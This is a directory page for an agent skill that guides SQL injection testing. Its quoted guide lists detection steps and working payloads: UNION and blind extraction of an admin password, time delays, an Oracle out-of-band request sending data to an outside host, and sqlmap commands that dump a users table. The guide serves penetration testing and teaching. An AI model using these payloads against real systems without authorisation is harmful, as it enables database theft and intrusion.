sql-injection

sql-injection is a skill for Claude Code, Codex from SecurityTalent/bugskill-ai. It costs 103 tokens per session (1,714 once invoked), scanned A, original, MIT.

A security testing guide for SQL injection, where untrusted input changes the meaning of a database query.

In plain words
What is it for?
It is for testing inputs in URLs, forms, cookies, and headers that are used to build SQL queries.
Why use it?
It helps find flaws that may let attackers bypass checks, read or change database data, or sometimes run commands on the server.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Good fit It is for testing inputs in URLs, forms, cookies, and headers that are used to build SQL queries.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/securitytalent/bugskill-ai/sql-injection
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add SecurityTalent/bugskill-ai --skill sql-injection
Clone the repo
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for sql-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/sql-injection/github.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/sql-injection)
Your own site
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/sql-injection"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/sql-injection/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for sql-injection

Your own site · 80×15
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/sql-injection"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/sql-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 103 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,714 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00103 $0.01714
Opus 5.5 $0.00041 $0.00686
Sonnet 5.5 $0.00021 $0.00343
Haiku 4.5 $0.00010 $0.00171

Measured 20d ago against content hash db81802d4808, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

sql-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

compatibility: Designed for Claude Code. Requires curl, sqlmap (optional), Burp Suite or OWASP ZAP.
Awesome-Claude-Code-Agent-Skills/02-Web-Application-Security/sql-injection/SKILL.md · 121 lines

How it starts

The opening of the file, as written. The whole thing — 121 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SQL Injection

What Is Broken and Why

SQL injection arises when applications build SQL queries by concatenating user-controlled strings without parameterization or proper escaping. An attacker who controls part of the query can change its semantics — bypassing authentication, extracting data via UNION or blind techniques, writing files, or executing operating-system commands through database-specific features (xp_cmdshell, UTL_HTTP). The root cause is treating data as code.

Key Signals

  • Single quote ' or semicolon ; in a parameter returns a database error or anomalous response
  • AND 1=1 returns normal content; AND 1=2 returns empty/different content
  • Error messages referencing MySQL, ORA-, MSSQL, PostgreSQL syntax
  • ORDER BY N-- incrementing until an error reveals column count
  • Delayed response to SLEEP(5) or WAITFOR DELAY '0:0:5'
  • Application encodes or strips ' but not -- or /**/

Methodology

  1. Enumerate all input vectors: GET/POST parameters, cookie values, HTTP headers (User-Agent, Referer, X-Forwarded-For).
  2. Submit ', ", ;, --, /* */ individually and observe response differences (errors, blank pages, changed content).
  3. Confirm with boolean pair: append AND 1=1-- (true) vs AND 1=2-- (false).
  4. Determine column count with ORDER BY 1--, incrementing until error.
  5. Find injectable columns with UNION SELECT null,null,...-- substituting null with 1 or 'a' to locate string columns.
  6. Extract data: UNION SELECT table_name,null FROM information_schema.tables--
  7. For blind (no output): use ASCII/SUBSTRING boolean loop or time-delay payloads.
  8. For error-based (Oracle): use UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL)).
  9. Test stacked queries where supported: ; INSERT INTO ....
  10. Escalate to OS interaction if database user has sufficient privileges.

Payloads & Tools

# Boolean detection
TARGET/page?id=1 AND 1=1--
TARGET/page?id=1 AND 1=2--

# Column count
TARGET/page?id=10 ORDER BY 5--

# UNION extraction (3-column example)
TARGET/page?id=99999 UNION SELECT 1,version(),3--
TARGET/page?id=99999 UNION SELECT 1,table_name,3 FROM information_schema.tables LIMIT 1--

# Boolean blind character extraction
TARGET/page?id=1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>64--

# Time-based blind (MySQL)
TARGET/page?id=1 AND IF(1=1,SLEEP(5),0)--

# Time-based blind (MSSQL)
TARGET/page?id=1; WAITFOR DELAY '0:0:5'--

# Error-based (Oracle)
TARGET/page?id=10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))--

# Out-of-band (Oracle)
TARGET/page?id=10||UTL_HTTP.REQUEST('VICTIM:80'||(SELECT user FROM DUAL))--

# sqlmap automation
sqlmap -u "TARGET/page?id=1" --dbs --batch
sqlmap -u "TARGET/page?id=1" -D dbname --tables --batch
sqlmap -u "TARGET/page?id=1" -D dbname -T users --dump --batch
sqlmap -u "TARGET/page?id=1" --data="user=foo&pass=bar" --level=3 --risk=2

Read the full file on GitHub · 121 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 20d ago First seen · 121 lines · 103 tokens per session scan A db81802d4808

Subscribe to this mod's changes

sql-injection is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 103 tokens to every session and 1,714 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.